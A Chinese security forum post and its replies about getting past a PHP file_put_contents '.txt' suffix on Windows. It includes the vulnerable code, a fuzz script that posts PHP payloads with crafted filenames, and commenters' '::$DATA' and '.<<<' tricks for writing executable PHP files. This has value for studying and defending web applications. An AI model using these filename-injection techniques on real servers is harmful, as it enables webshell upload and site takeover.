PHP file_put_content函数写文件鸡肋绕过
昨天遇到个站,非常奇葩,把客户的评论写到文件里面,而且开了报错。所以就很容易地看出了那个文件的源码,大概是这样的:
<?php
$name1 = $_POST['filename1'];
$name2 = $_POST['filename2'];
$val = $_POST['val'];
file_put_contents('./company_list/'.$name2.'-'.$name1.'.txt', $val);
?>
这是fuzz脚本:
import requests
for i in range(256):
url = 'http://localhost/test/1.php'
data = {'filename1':'1.php%s' % chr(i+1),'filename2':'2','val':'<?php phpinfo();?>'}
a = requests.post(url = url, data = data)
发现在windows下可以使用“:”截断后面的.txt,让上传的文件变成了.php,原因是windows不允许”:”等一些特殊符号存在于文件名中,在linux中则可以存在。
之所以说鸡肋,是因为这样并没有什么卵用,只是上传了个php文件而已,file_put_content函数相当于是fopen,fwrite,fclose的打包函数,但是由于并不存在”2-1.php:.txt”文件,尽管fopen函数写了个文件名到文件夹里,不过fwrite函数无法将内容写入该文件中,因此该文件只能是空文件。
会不会覆盖其他文件呢?我试了一下,对原文件内容似乎也没有影响,我的notepad++还是提示该文件已更改,是否reload,reload以后,发现内容并没有改变。
本文只是为了抛砖引玉,看看大牛们有没有其他的奇淫思路。
自评TCV:2
评论17次
想法不错,研究一下。
5楼的方法好屌啊,学xi了
长文件名截断
循序渐进
http://www.wooyun.org/bugs/wooyun-2010-071540 楼主看看这篇...用2-1.<<<就能写入了
多谢,学到新姿势了
谢谢五楼,涨姿势
谢谢好人,又学到了不少。
思路很好呀,等下自己试试看,然而大牛好多年前就试过了~
5楼的方法好屌啊,学xi了
5L案例给力,LZ使用了冒号截断,里面也提出来了“冒号截断产生的文件是空白的,里面并不会有任何的内容”。最后使用了.<<<和::$DATA LZ,你试试post name2为2,name1为1.php:。然后会生成2-1.php,然后再post,把name1改成1.<<<或者直接1.php::$DATA
学xi了!不过主要是目标站在后面会加个.txt,刚才试了一下,这个还是无法绕过
5楼正解。
5楼应该可以,前提windows+iis
http://www.wooyun.org/bugs/wooyun-2010-071540 楼主看看这篇...用2-1.<<<就能写入了
乌云有人也做个类似的事情 建议楼主去查看一下 看的好面熟
还真没想过使用循环来测试截断... 确实给了我一个不错的思路
好几年前的手法了,能用:截断就用::$DATA